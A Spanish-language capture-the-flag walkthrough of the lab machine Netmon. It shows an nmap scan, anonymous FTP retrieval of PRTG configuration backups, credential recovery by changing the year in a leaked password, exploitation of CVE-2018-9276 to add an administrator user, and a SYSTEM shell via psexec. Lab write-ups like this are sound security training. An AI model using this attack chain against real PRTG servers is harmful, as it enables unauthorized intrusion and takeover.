En la máquina de hoy Netmon veremos la criticidad de una mala configuración de un servidor FTP el cual nos permitirá obtener archivos del sistema como backups de configuración, documentos, etc… Obtendremos las credenciales de la aplicación web a vulnerar en el archivo de configuración, y explotaremos una vulnerabilidad pública CVE-2018-9276 que nos dará RCE agregando un usuario administrador en el sistema.
Reconocimiento
Reconocimiento De Puertos
Lo primero que haremos será observar que puertos están abiertos utilizando la herramienta Nmap.
nmap -sCV -p 21,80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669 -oN Objetivos 10.10.10.152 Nmap scan report for 10.10.10.152 Host is up (0.052s latency).
PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd | ftp-anon: Anonymous FTP login allowed (FTP code 230) | 02-03-19 12:18AM 1024 .rnd | 02-25-19 10:15PM <DIR> inetpub | 07-16-16 09:18AM <DIR> PerfLogs | 02-25-19 10:56PM <DIR> Program Files | 02-03-19 12:28AM <DIR> Program Files (x86) | 02-03-19 08:08AM <DIR> Users |_02-25-19 11:49PM <DIR> Windows | ftp-syst: |_ SYST: Windows_NT 80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor) |_http-trane-info: Problem with XML parsing of /evox/about |_http-server-header: PRTG/18.1.37.13946 | http-title: Welcome | PRTG Network Monitor (NETMON) |_Requested resource was /index.htm 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC 49669/tcp open msrpc Microsoft Windows RPC Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results: | smb-security-mode: | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-time: | date: 2022-07-11T01:08:35 |_ start_date: 2022-07-10T19:01:19 | smb2-security-mode: | 3.1.1: |_ Message signing enabled but not required
Observaciones
El protocolo ftp tiene el login por anonymous:anonymous habilitado y por lo que el output nos muestra tenemos acceso a la integridad de los archivos de un sistema windows.
También podemos ver que en el puerto 80 se ubica un servidor web.
Reconocimiento Web
La página web ubicada en 10.10.10.152:80 nos muestra un login de una aplicación web llamada PRTG NETWORK MONITOR.
Observando el código fuente de la página podemos ver la versión de la aplicación 'appVersion':'18.1.37.13946'
Existe una vulnerabilidad del tipo RCE para la versión 18.2.38, si recordamos en el servidor corre la 18.1.37.13946 por lo que en teoría es válida. Al ser necesaria la autenticación para explotar la vulnerabilidad debemos intentar encontrar unas credenciales que nos permitan acceder. Podemos intentar buscarlas en el servidor ftp, igual cabe la posibilidad de que existan credenciales en texto plano en algún archivo de configuración.
Explotación
Buscar Credenciales Validas
Path Utilizado Por Prtg
Como tenemos acceso al servidor ftp con las credenciales anonymous:anonymos podemos intentar buscar donde se guardan las credenciales por defecto en el programa PRTG NETWORK MONITOR o si existe algún archivo con las credenciales harcodeadas.
Si googleamos que path utiliza PRTG NETWORK MONITOR encontramos el siguiente /ProgramData/Paessler/PRTG Network Monitor, vamos a ver que encontramos.
Todos los archivos de configuración son interesantes, habitualmente dentro de estos archivos se pueden encontrar usuarios válidos o incluso contraseñas. Nos descargamos los archivos.
1 2 3 4 5 6 7 8 9 10 11 12 13 14
ftp> get "PRTG Configuration.dat" local: PRTG Configuration.dat remote: PRTG Configuration.dat 229 Entering Extended Passive Mode (|||50901|) 125 Data connection already open; Transfer starting. 100% |******************************************************************************************************************************************************************| 1161 KiB 1.13 MiB/s 00:00 ETAftp: Reading from network: Llamada al sistema interrumpida 0% | | -1 0.00 KiB/s --:-- ETA 226 Transfer complete. ftp> get "PRTG Configuration.old.bak" local: PRTG Configuration.old.bak remote: PRTG Configuration.old.bak 229 Entering Extended Passive Mode (|||50931|) 125 Data connection already open; Transfer starting. 100% |******************************************************************************************************************************************************************| 1126 KiB 1.14 MiB/s 00:00 ETA 226 Transfer complete. 1153755 bytes received in 00:00 (1.09 MiB/s)
Si nos fijamos en la cantidad de líneas que tienen los archivos obtenemos lo siguiente:
Al tratarse de archivos con una gran cantidad de líneas revisarlas a mano no es viable, por lo que tenemos que filtrar el contenido de alguna forma. Con una rápida búsqueda en google encontramos que el usuario con privilegios de administrador por defecto es prtgadmin.
¡Bien! Parece que tenemos unas credenciales válidas prtgadmin:PrTg@dmin2018 para acceder al panel y explotar el RCE.
Validación De Las Credenciales
Vaya, probamos las credenciales y no son correctas, que raro. Puede ser que el back up sea de otro año, igual el administrador reutiliza la misma contraseña cambiando el año, probemos con PrTg@dmin2019.
¡Pum! Credenciales válidas, ya podemos explotar la vulnerabilidad antes mencionada.
Explotación De La Vulnerabilidad
La vulnerabilidad a explotar es la siguiente CVE-2018-9276, utilizamos el script dado 46527.sh.
# Login To The App, Default Creds Are Prtgadmin/Prtgadmin. Once Athenticated Grab Your Cookie And Use It With The Script. # Run The Script To Create A New User 'Void4m0n' In The Administrators Group With Password 'Hacked'
# Login To The App, Default Creds Are Prtgadmin/Prtgadmin. Once Athenticated Grab Your Cookie And Use It With The Script. # Run The Script To Create A New User 'Pentest' In The Administrators Group With Password 'P3nt3st!'
Password: [*] Requesting shares on 10.10.10.152..... [*] Found writable share ADMIN$ [*] Uploading file MAyGnnAc.exe [*] Opening SVCManager on 10.10.10.152..... [*] Creating service PBCl on 10.10.10.152..... [*] Starting service PBCl..... [!] Press help for extra shell commands Microsoft Windows [Version 10.0.14393] (c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami nt authority\system
Ya hemos conseguido comprometer la máquina, solo nos falta encontrar las flags.
Flags
User.txt
Esta flag no necesitaba explotar la vulnerabilidad, simplemente nos conectamos por ftp con anonymous:anonymous y descargamos la flag user.txt.
❯ ftp 10.10.10.152 Connected to 10.10.10.152. 220 Microsoft FTP Service Name (10.10.10.152:void4m0n): anonymous 331 Anonymous access allowed, send identity (e-mail name) as password. Password: 230 User logged in. Remote system type is Windows_NT. ftp> dir 229 Entering Extended Passive Mode (|||50145|) 125 Data connection already open; Transfer starting. 02-03-19 12:18AM 1024 .rnd 02-25-19 10:15PM <DIR> inetpub 07-16-16 09:18AM <DIR> PerfLogs 02-25-19 10:56PM <DIR> Program Files 02-03-19 12:28AM <DIR> Program Files (x86) 02-03-19 08:08AM <DIR> Users 02-25-19 11:49PM <DIR> Windows 226 Transfer complete. ftp> cd Users 250 CWD command successful. ftp> dir 229 Entering Extended Passive Mode (|||50148|) 125 Data connection already open; Transfer starting. 02-25-19 11:44PM <DIR> Administrator 02-03-19 12:35AM <DIR> Public 226 Transfer complete. ftp> cd Public 250 CWD command successful. ftp> dir 229 Entering Extended Passive Mode (|||50156|) 125 Data connection already open; Transfer starting. 02-03-19 08:05AM <DIR> Documents 07-16-16 09:18AM <DIR> Downloads 07-16-16 09:18AM <DIR> Music 07-16-16 09:18AM <DIR> Pictures 07-25-22 03:33PM 34 user.txt 07-16-16 09:18AM <DIR> Videos 226 Transfer complete. ftp> get user.txt local: user.txt remote: user.txt 229 Entering Extended Passive Mode (|||50157|) 125 Data connection already open; Transfer starting. 100% |******************************************************************************************************************************************************************| 34 0.24 KiB/s 00:00 ETA 226 Transfer complete. 34 bytes received in 00:00 (0.19 KiB/s)
Root.Txt
1 2 3
C:\Users\Administrator\Desktop> type root.txt
321bxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Conocimientos Obtenidos
De la máquina Netmon podemos extraer los siguientes conocimientos:
Reconocimiento de puertos con Nmap.
Conexión por ftp con credenciales por defecto.
Búsqueda de credenciales en archivos de configuración.
Reconocimiento web.
Explotación de una vulnerabilidad pública (RCE).
Conexión con la máquina post explotación.
Errores
Un posible error que podéis sufrir es el siguiente:
A la hora de conectaros post explotación con impacket-psexec puede daros un error, lo solucioné ejecutandolo de forma repetida hasta que me diera acceso.
Autores Y Referencias
Autor de la máquina: mrb3n, muchas gracias por la creación de Netmon aportando a la comunidad. .